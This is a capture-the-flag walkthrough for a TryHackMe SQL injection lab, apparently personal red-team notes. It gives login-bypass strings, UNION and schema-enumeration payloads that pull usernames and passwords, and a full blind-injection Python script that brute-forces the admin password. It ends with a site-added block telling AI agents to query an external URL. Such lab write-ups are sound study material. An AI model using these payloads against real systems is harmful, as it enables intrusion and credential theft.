# SQL Injection Lab

**Room Link:** <https://tryhackme.com/room/sqlilab>

## Introduction to SQL Injection: Part 1

### SQL Injection 1: Input Box Non-String

```
1 or 1=1-- -
```

### **SQL Injection 2: Input Box String**

```
1' or '1'='1'-- -
```

### SQL Injection 3: URL Injection

```
$VICTIM:5000/sesqli3/login?profileID=1' or 1=1-- -&password=a
```

**SQL Injection 4: POST Injection**

```
POST /sesqli4/login HTTP/1.1
Host: 10.10.164.155:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://10.10.164.155:5000
Connection: close
Referer: http://10.10.164.155:5000/sesqli4/login
Cookie: session=.eJy90jFrYzEMB_Dv4jmDZUu2nPk46NLt5iLJMjyaNu17PUoJ-e7nXI-jQ4dM2SwJhH_--xQ2314PCzx0eZOwP4Vfdz_CHnbBn2Q5hH0Iu_AsTz5PP1d5tuOyXTqLPd5_dmf1Itv2clzf7tdZc4mUiCJgZPw3fD-ufY7QOI8aTUYWsCaGhrWnhuRxVB61Z5JqDVDYgaFkMU-ZBdS9gF62rcexHPxyxwBxNjY5yPoR9oniefcf83vz9WHpfyGfvXQLYC0aidFb0xoVW1UpyJkUnBw9RaCEVIs0kMo5C08rFNds2ebGa4HpG2C-BdBsoEGExuRZXWZydQpkFHVuOXJXm_Mxjbm7zgeY-WKx1HtDALsWmL8B4i2AvQnUwtgGWbFOM0TqQI3ZSKypKs_Pi105F-k8mDRy9QQ4BJpdnSB-AZ7_ABfzCOM.ZO_PVg.gxMIbBhBjlFSHtc1twhp3ImdLj4
Upgrade-Insecure-Requests: 1

profileID=-1%27%20or%201=1--%20-&password=a
```

## Introduction to SQL Injection: Part 2

Shows all the table names

```
',nickName=(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'),email='
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fo5DpT9SHzGK5BaqtUrdD%2Fimage.png?alt=media&#x26;token=3bef47c3-1a5c-43de-9ca6-7a884a6a8906" alt=""><figcaption></figcaption></figure>

Show all fields from the table usertable

```
l FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable'),email='
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fk75W0FjjFdBSpDPSZPdR%2Fimage.png?alt=media&#x26;token=d0236cef-8ecd-4966-9f20-389da8c0a388" alt=""><figcaption></figcaption></figure>

Shows all the fields from the table secret

```
',nickName=(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='secrets'),email='
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FpCn7W8dCeyBltqQcQquF%2Fimage.png?alt=media&#x26;token=f37430aa-8bda-4618-822c-77698e06f176" alt=""><figcaption></figcaption></figure>

Display all the values from the table secrets

```
',nickName=(SELECT group_concat(id || "," || author|| "," || secret|| ":") from secrets),email='
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6Ftnmf5KiupVweZNU1Xw%2Fimage.png?alt=media&#x26;token=623ebc54-545e-40b5-a5e9-4a777ad131aa" alt=""><figcaption></figcaption></figure>

## Vulnerable Startup: Broken Authentication

```
1' or '1'='1'-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FKYXcn73WtPxheLkIbkdA%2Fimage.png?alt=media&#x26;token=ba3036f6-594b-49eb-a8e1-c2fb65799560" alt=""><figcaption></figcaption></figure>

## Vulnerable Startup: Broken Authentication&#x20;

```
Username: ' OR 1=1-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlVNXGWq0x1cJiOexHogr%2Fimage.png?alt=media&#x26;token=467fadab-3702-449c-9729-6c93fe8b896d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYoNEwPBLFSYt35ZCqXrG%2Fimage.png?alt=media&#x26;token=c626f360-33ef-41df-be12-673be954e922" alt=""><figcaption></figcaption></figure>

#### **decode\_cookie.py**

```
#!/usr/bin/python3
import zlib
import sys
import json
from itsdangerous import base64_decode


def decode(cookie):
    """
    Decode a Flask cookie

    https://www.kirsle.net/wizards/flask-session.cgi
    """
    try:
        compressed = False
        payload = cookie

        if payload.startswith('.'):
            compressed = True
            payload = payload[1:]

        data = payload.split(".")[0]

        data = base64_decode(data)
        if compressed:
            data = zlib.decompress(data)

        return data.decode("utf-8")
    except Exception as e:
        return f"[Decoding error: are you sure this was a Flask session cookie? {e}]"


cookie = sys.argv[1]
data = decode(cookie)
json_data = json.loads(data)
pretty = json.dumps(json_data, sort_keys=True, indent=4, separators=(",", ": "))
print(pretty)

```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fr2xzbwLBp95jTcHfh4fq%2Fimage.png?alt=media&#x26;token=a36c05cf-bcc5-4fb3-a379-f934dd227100" alt=""><figcaption></figcaption></figure>

```
python decode_cookie.py .eJyrVkrOSMzJSc1LTzWKLy1OLYrPTFGyMtRBF85LzE1VslJKTMnNzFOqBQAYpRNS.ZPCIPg.GEqyzNXd85i4M0Oqpt9ITOmwTOM
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FYaqQr8GoTKD1WN97qHkX%2Fimage.png?alt=media&#x26;token=7f28b4c8-a3cd-493c-991d-75d4821f2913" alt=""><figcaption></figcaption></figure>

```
' UNION SELECT 1,NULL-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0FgbN4eUerNN8Z5InqnG%2Fimage.png?alt=media&#x26;token=78689b19-def6-4be5-b785-90393fec30c2" alt=""><figcaption></figcaption></figure>

```
' UNION SELECT 1,2-- - 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fj8sz5EHK1RFwqBF2iwwW%2Fimage.png?alt=media&#x26;token=8467582a-e307-4d4f-b324-475a70c34164" alt=""><figcaption></figcaption></figure>

Enmerutate passwords, the below only returns the first result which we probably don't want.

```
' UNION SELECT 1, password from users-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQnQaIi0N4qIcSRUeErJY%2Fimage.png?alt=media&#x26;token=abeb54ba-034b-4a4a-a901-94a4a3677026" alt=""><figcaption></figcaption></figure>

This way concats all the passwords

```
' UNION SELECT 1,group_concat(password) FROM users-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQ50gESvBIMGiNIo1kbyQ%2Fimage.png?alt=media&#x26;token=348a00b6-5e94-48c8-bcb1-aa9f1d1f1114" alt=""><figcaption></figcaption></figure>

## Vulnerable Startup: Broken Authentication 3 (Blind Injection)

#### challenge3-exploit.py

```
#!/usr/bin/python3
import sys
import requests
import string


def send_p(url, query):
    payload = {"username": query, "password": "admin"}
    try:
        r = requests.post(url, data=payload, timeout=3)
    except requests.exceptions.ConnectTimeout:
        print("[!] ConnectionTimeout: Try to adjust the timeout time")
        sys.exit(1)
    return r.text


def main(addr):
    url = f"http://{addr}/challenge3/login"
    flag = ""
    password_len = 38
    # Not the most efficient way of doing it...
    for i in range(1, password_len):
        for c in string.ascii_lowercase + string.ascii_uppercase + string.digits + "{}":
            # Convert char to hex and remove "0x"
            h = hex(ord(c))[2:]
            query = "admin' AND SUBSTR((SELECT password FROM users LIMIT 0,1)," \
                f"{i},1)=CAST(X'{h}' AS TEXT)--"

            resp = send_p(url, query)
            if not "Invalid" in resp:
                flag += c
                print(flag)
    print(f"[+] FLAG: {flag}")


if __name__ == "__main__":
    if len(sys.argv) == 1:
        print(f"Usage: {sys.argv[0]} MACHINE_IP:PORT")
        sys.exit(0)
    main(sys.argv[1])

```

**Kali**

```
python challenge3-exploit.py $KALI:5000
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FmeoSn1YxM1ICCFuLUeXw%2Fimage.png?alt=media&#x26;token=e376e6a5-20ce-45da-a138-a3924a1d1bec" alt=""><figcaption></figcaption></figure>

## Vulnerable Startup: Vulnerable Notes

Create user

```
Username: '  union select 1,group_concat(password) from users'
Password: blah
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWEVNxftHq7wd55hjkInn%2Fimage.png?alt=media&#x26;token=8f07d188-fb58-4236-8e22-c85f48eefe2d" alt=""><figcaption></figcaption></figure>

## Vulnerable Startup: Change Password

**Signup**

```
Username: admin'-- -
```

## Vulnerable Startup: Book Title

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlbpzqUIbMfAcOv4HZHWW%2Fimage.png?alt=media&#x26;token=f0f41dab-acdd-480f-937c-8a33dad9b34e" alt=""><figcaption></figcaption></figure>

```
') union select 1,group_concat(username),group_concat(password),4 from users-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FBSvcIN9oXlIIajJI1RVv%2Fimage.png?alt=media&#x26;token=91941baa-ec83-4a58-a9a7-92821b6dd2f6" alt=""><figcaption></figcaption></figure>

## Vulnerable Startup: Book Title 2

```
' union select '-1''union select group_concat(username),group_concat(password),3,4 from users-- -
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FncgikM6XKPYnxed1X3co%2Fimage.png?alt=media&#x26;token=72b08a63-75f3-4019-9e1d-933b1982948d" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jeffgthompsons-organization.gitbook.io/red-team/walkthroughs/tryhackme/sql-injection-lab.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
